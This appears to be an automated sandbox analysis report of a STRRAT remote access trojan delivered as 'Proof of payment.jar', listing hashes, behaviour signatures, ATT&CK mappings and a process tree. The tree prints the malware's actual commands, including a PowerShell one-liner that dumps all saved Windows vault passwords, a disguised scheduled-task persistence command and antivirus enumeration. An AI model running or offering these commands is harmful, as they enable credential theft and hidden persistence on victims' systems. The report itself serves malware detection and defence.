Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-05-2024 08:41

General

  • Target

    Proof of payment.jar

  • Size

    124KB

  • MD5

    7bf4527b293b0c3f6cc8859886d6c9d8

  • SHA1

    75183471ffca124e8ead875329cc6fcd6492e2c8

  • SHA256

    48f6788ba8e0405098152cd2417e68fdb87bfc41665ead3883f1b0d67fec202a

  • SHA512

    d25e0c208cd4959779fa90d0a686dae65b290ac8062564f40044fa656a8901cddd7f0084544c265c4ccd4978f42c9248184c07801ccdc5b8ddf1d53983515ee8

  • SSDEEP

    1536:m2JqdLhOqhzbqA4LOcKgoWrQj0oU1BlKE6tcj871PSMQeyd8qyLBq8eGk1FOX:qdcW6A4LOc1RQyXQ08ZPAytyOX

Malware Config

Signatures

  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Proof of payment.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\system32\icacls.exe
      C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
      2⤵
      • Modifies file permissions
      PID:3348
    • C:\Windows\SYSTEM32\wscript.exe
      wscript C:\Users\Admin\iaoojnaujn.js
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3344
      • C:\Program Files\Java\jre-1.8\bin\javaw.exe
        "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Roaming\xipnclq.txt"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4736
        • C:\Program Files\Java\jre-1.8\bin\java.exe
          "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\xipnclq.txt"
          4⤵
          • Drops startup file
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:4352
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\xipnclq.txt"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3500
            • C:\Windows\system32\schtasks.exe
              schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\xipnclq.txt"
              6⤵
              • Creates scheduled task(s)
              PID:1664
          • C:\Program Files\Java\jre-1.8\bin\java.exe
            "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\xipnclq.txt"
            5⤵
            • Loads dropped DLL
            • Accesses Microsoft Outlook profiles
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            • outlook_win_path
            PID:568
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4920
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:448
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3260
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4072
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2316
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
                7⤵
                  PID:2652
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3920
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list
                  7⤵
                    PID:732
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:392

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      JavaScript

      1
      T1059.007

      Scheduled Task/Job

      1
      T1053

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Defense Evasion

      File and Directory Permissions Modification

      1
      T1222

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      2
      T1082

      Collection

      Email Collection

      1
      T1114

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp
        Filesize

        46B

        MD5

        fe2bfbbb1ed36d77b20c583799900adf

        SHA1

        47257514655361759ee9d4b7ba1d9d5d21bc151d

        SHA256

        1a23d3baef159641eebf10e296274bf09241767d79f4a0fd7ed4f1a03cc524cc

        SHA512

        f9bb9c57deff0894be2f3349f25fb57baf0eda503e1c9f3940b69939dc8db9e9264b8f79706d3284ca4f25f7de01d89ac255fb29f44150dc36826df65c0fda54

      • C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp
        MD5

        d41d8cd98f00b204e9800998ecf8427e

        SHA1

        da39a3ee5e6b4b0d3255bfef95601890afd80709

        SHA256

        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

        SHA512

        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ihdfcolh.axh.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna5271882781437239684.dll
        Filesize

        241KB

        MD5

        e02979ecd43bcc9061eb2b494ab5af50

        SHA1

        3122ac0e751660f646c73b10c4f79685aa65c545

        SHA256

        a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a

        SHA512

        1e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372

      • C:\Users\Admin\AppData\Local\Temp\sqlite-3.14.2.1-3f619947-2216-49e8-acba-9b6b4f1f0221-sqlitejdbc.dll
        Filesize

        914KB

        MD5

        bcd42d2959eadc64dc225cf800ce3c90

        SHA1

        f19981d3c3987259edf9874aaccaaec21616b03d

        SHA256

        05a8557f5d197aca468f5272a2a869293cb11c2f0ab4839a17f144f9a5d0b77d

        SHA512

        428ba3a76543e726b58ea334b6ea9538c7230592cc29fa564fdb44fdb4e2998820514af70b10b80f77c8f1554f63e1a4822ef8db095191956652454d220bc167

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2539840389-1261165778-1087677076-1000\83aa4cc77f591dfc2374580bbd95f6ba_468f6343-c0e6-4931-9703-30c6539573cb
        Filesize

        45B

        MD5

        c8366ae350e7019aefc9d1e6e6a498c6

        SHA1

        5731d8a3e6568a5f2dfbbc87e3db9637df280b61

        SHA256

        11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238

        SHA512

        33c980d5a638bfc791de291ebf4b6d263b384247ab27f261a54025108f2f85374b579a026e545f81395736dd40fa4696f2163ca17640dd47f1c42bc9971b18cd

      • C:\Users\Admin\AppData\Roaming\xipnclq.txt
        Filesize

        92KB

        MD5

        58a86baacf10b0e009cda66f13f44e00

        SHA1

        0530d246742452aa2a8b1096233c81c73dc67668

        SHA256

        188490d674620e42560d91bca3a8b6bf3fd56279d109f6458e01db431e553c3e

        SHA512

        9efcee479fdb05499af11ff7146ae675bdf633dcaa1d3ec55396ceace083f20ddb5fbc0bc5d011b0d3246762e57a292b1451a56b79e86cbb8be7fa4641cebe1c

      • C:\Users\Admin\iaoojnaujn.js
        Filesize

        209KB

        MD5

        3c998a1eb4061c8324d11175722ceaad

        SHA1

        db712475af068245090102a84665da5043ac40ad

        SHA256

        ec3324e7d3fc372b121ce644b6a44466bc58757a666b8f9c2c5584655ab72a40

        SHA512

        5b671101eba9cacaee7ceaf8e9d6328e5364b82b5d37089eee8fbe8deb68065ddd5bce52e345040b7ec4570df8868c86880b63d3eab2f5cbca01a812658144bb

      • C:\Users\Admin\lib\jna-5.5.0.jar
        Filesize

        1.4MB

        MD5

        acfb5b5fd9ee10bf69497792fd469f85

        SHA1

        0e0845217c4907822403912ad6828d8e0b256208

        SHA256

        b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e

        SHA512

        e52575f58a195ceb3bd16b9740eadf5bc5b1d4d63c0734e8e5fd1d1776aa2d068d2e4c7173b83803f95f72c0a6759ae1c9b65773c734250d4cfcdf47a19f82aa

      • C:\Users\Admin\lib\jna-platform-5.5.0.jar
        Filesize

        2.6MB

        MD5

        2f4a99c2758e72ee2b59a73586a2322f

        SHA1

        af38e7c4d0fc73c23ecd785443705bfdee5b90bf

        SHA256

        24d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5

        SHA512

        b860459a0d3bf7ccb600a03aa1d2ac0358619ee89b2b96ed723541e182b6fdab53aefef7992acb4e03fca67aa47cbe3907b1e6060a60b57ed96c4e00c35c7494

      • C:\Users\Admin\lib\sqlite-jdbc-3.14.2.1.jar
        Filesize

        4.1MB

        MD5

        b33387e15ab150a7bf560abdc73c3bec

        SHA1

        66b8075784131f578ef893fd7674273f709b9a4c

        SHA256

        2eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491

        SHA512

        25cfb0d6ce35d0bcb18527d3aa12c63ecb2d9c1b8b78805d1306e516c13480b79bb0d74730aa93bd1752f9ac2da9fdd51781c48844cea2fd52a06c62852c8279

      • C:\Users\Admin\lib\system-hook-3.5.jar
        Filesize

        772KB

        MD5

        e1aa38a1e78a76a6de73efae136cdb3a

        SHA1

        c463da71871f780b2e2e5dba115d43953b537daf

        SHA256

        2ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609

        SHA512

        fee16fe9364926ec337e52f551fd62ed81984808a847de2fd68ff29b6c5da0dcc04ef6d8977f0fe675662a7d2ea1065cdcdd2a5259446226a7c7c5516bd7d60d

      • memory/392-226-0x00000268582A0000-0x00000268582AA000-memory.dmp
        Filesize

        40KB

      • memory/392-225-0x0000026858260000-0x0000026858282000-memory.dmp
        Filesize

        136KB

      • memory/392-227-0x0000026858310000-0x0000026858318000-memory.dmp
        Filesize

        32KB

      • memory/568-209-0x00000266E8D00000-0x00000266E8D01000-memory.dmp
        Filesize

        4KB

      • memory/568-192-0x00000266E8D00000-0x00000266E8D01000-memory.dmp
        Filesize

        4KB

      • memory/568-245-0x0000000061680000-0x000000006176D000-memory.dmp
        Filesize

        948KB

      • memory/4296-2-0x00000202305E0000-0x0000020230850000-memory.dmp
        Filesize

        2.4MB

      • memory/4296-15-0x00000202305E0000-0x0000020230850000-memory.dmp
        Filesize

        2.4MB

      • memory/4296-14-0x000002022ED10000-0x000002022ED11000-memory.dmp
        Filesize

        4KB

      • memory/4352-165-0x000001A6269F0000-0x000001A6269F1000-memory.dmp
        Filesize

        4KB

      • memory/4352-143-0x000001A6269F0000-0x000001A6269F1000-memory.dmp
        Filesize

        4KB

      • memory/4736-66-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-116-0x000001A1A4540000-0x000001A1A47B0000-memory.dmp
        Filesize

        2.4MB

      • memory/4736-102-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-91-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-89-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-88-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-84-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-81-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-75-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-71-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-57-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-46-0x000001A1A2D10000-0x000001A1A2D11000-memory.dmp
        Filesize

        4KB

      • memory/4736-21-0x000001A1A4540000-0x000001A1A47B0000-memory.dmp
        Filesize

        2.4MB